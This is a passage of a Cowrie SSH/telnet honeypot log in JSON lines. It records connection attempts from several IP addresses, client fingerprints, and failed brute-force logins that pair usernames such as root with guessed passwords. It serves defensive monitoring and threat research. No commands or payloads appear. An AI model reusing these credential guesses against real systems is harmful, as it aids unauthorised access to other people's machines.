{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:50:59.857788Z","src_ip":"103.115.56.3","session":"7b13dd72722a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oms","message":"login attempt [root/oms] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:51:00.305772Z","src_ip":"103.115.56.3","session":"7b13dd72722a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:51:01.519992Z","src_ip":"103.115.56.3","session":"7b13dd72722a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.191.31","src_port":37206,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfcf704cd8ac","protocol":"ssh","message":"New connection: 170.106.191.31:37206 (10.17.0.5:22) [session: cfcf704cd8ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:51:18.260951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:51:18.265731Z","src_ip":"170.106.191.31","session":"cfcf704cd8ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:51:18.334118Z","src_ip":"170.106.191.31","session":"cfcf704cd8ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"renee","message":"login attempt [root/renee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:51:18.640911Z","src_ip":"170.106.191.31","session":"cfcf704cd8ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:51:19.712831Z","src_ip":"170.106.191.31","session":"cfcf704cd8ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.213","src_port":17584,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a970edce76d","protocol":"ssh","message":"New connection: 102.88.137.213:17584 (10.17.0.5:22) [session: 9a970edce76d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:51:27.587939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:51:27.593382Z","src_ip":"102.88.137.213","session":"9a970edce76d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:51:27.772846Z","src_ip":"102.88.137.213","session":"9a970edce76d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2","message":"login attempt [root/2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:51:28.522578Z","src_ip":"102.88.137.213","session":"9a970edce76d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:51:29.704894Z","src_ip":"102.88.137.213","session":"9a970edce76d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59466,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9cd5e004d1c","protocol":"telnet","message":"New connection: 152.42.224.71:59466 (10.17.0.5:23) [session: c9cd5e004d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:52:02.391057Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.26","src_port":39982,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d09416f8d70","protocol":"ssh","message":"New connection: 85.217.149.26:39982 (10.17.0.5:22) [session: 6d09416f8d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:52:08.167687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:52:08.171757Z","src_ip":"85.217.149.26","session":"6d09416f8d70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc3aee897af7d3feb9fc37b89c7d15c9","hasshAlgorithms":"curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc3aee897af7d3feb9fc37b89c7d15c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:52:08.190029Z","src_ip":"85.217.149.26","session":"6d09416f8d70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:52:08.212898Z","src_ip":"85.217.149.26","session":"6d09416f8d70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.56.3","src_port":42694,"dst_ip":"10.17.0.5","dst_port":22,"session":"490906e6656c","protocol":"ssh","message":"New connection: 103.115.56.3:42694 (10.17.0.5:22) [session: 490906e6656c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:52:14.347962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:52:14.351633Z","src_ip":"103.115.56.3","session":"490906e6656c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:52:14.562742Z","src_ip":"103.115.56.3","session":"490906e6656c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345QWERT","message":"login attempt [root/12345QWERT] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:52:15.186631Z","src_ip":"103.115.56.3","session":"490906e6656c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:52:16.401707Z","src_ip":"103.115.56.3","session":"490906e6656c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":40130,"dst_ip":"10.17.0.5","dst_port":22,"session":"38dba216fe7e","protocol":"ssh","message":"New connection: 80.94.92.184:40130 (10.17.0.5:22) [session: 38dba216fe7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:52:23.323644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:52:23.488171Z","src_ip":"80.94.92.184","session":"38dba216fe7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:52:23.495022Z","src_ip":"80.94.92.184","session":"38dba216fe7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"abc123","message":"login attempt [solv/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:52:24.506221Z","src_ip":"80.94.92.184","session":"38dba216fe7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:52:25.640918Z","src_ip":"80.94.92.184","session":"38dba216fe7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.191.31","src_port":40808,"dst_ip":"10.17.0.5","dst_port":22,"session":"01bf263bea57","protocol":"ssh","message":"New connection: 170.106.191.31:40808 (10.17.0.5:22) [session: 01bf263bea57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:52:35.270201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:52:35.274966Z","src_ip":"170.106.191.31","session":"01bf263bea57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:52:35.343116Z","src_ip":"170.106.191.31","session":"01bf263bea57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3333","message":"login attempt [root/3333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:52:35.645983Z","src_ip":"170.106.191.31","session":"01bf263bea57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:52:36.717283Z","src_ip":"170.106.191.31","session":"01bf263bea57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.37085223197937,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:52:36.761756Z","src_ip":"152.42.224.71","session":"c9cd5e004d1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.213","src_port":1163,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f2562f324ca","protocol":"ssh","message":"New connection: 102.88.137.213:1163 (10.17.0.5:22) [session: 7f2562f324ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:00.479868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:00.489640Z","src_ip":"102.88.137.213","session":"7f2562f324ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:00.669612Z","src_ip":"102.88.137.213","session":"7f2562f324ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tobeornottobe","message":"login attempt [root/tobeornottobe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:01.419369Z","src_ip":"102.88.137.213","session":"7f2562f324ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:02.601851Z","src_ip":"102.88.137.213","session":"7f2562f324ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":36828,"dst_ip":"10.17.0.5","dst_port":22,"session":"b76d7cf07c59","protocol":"ssh","message":"New connection: 87.251.64.176:36828 (10.17.0.5:22) [session: b76d7cf07c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:10.401193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:10.405956Z","src_ip":"87.251.64.176","session":"b76d7cf07c59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie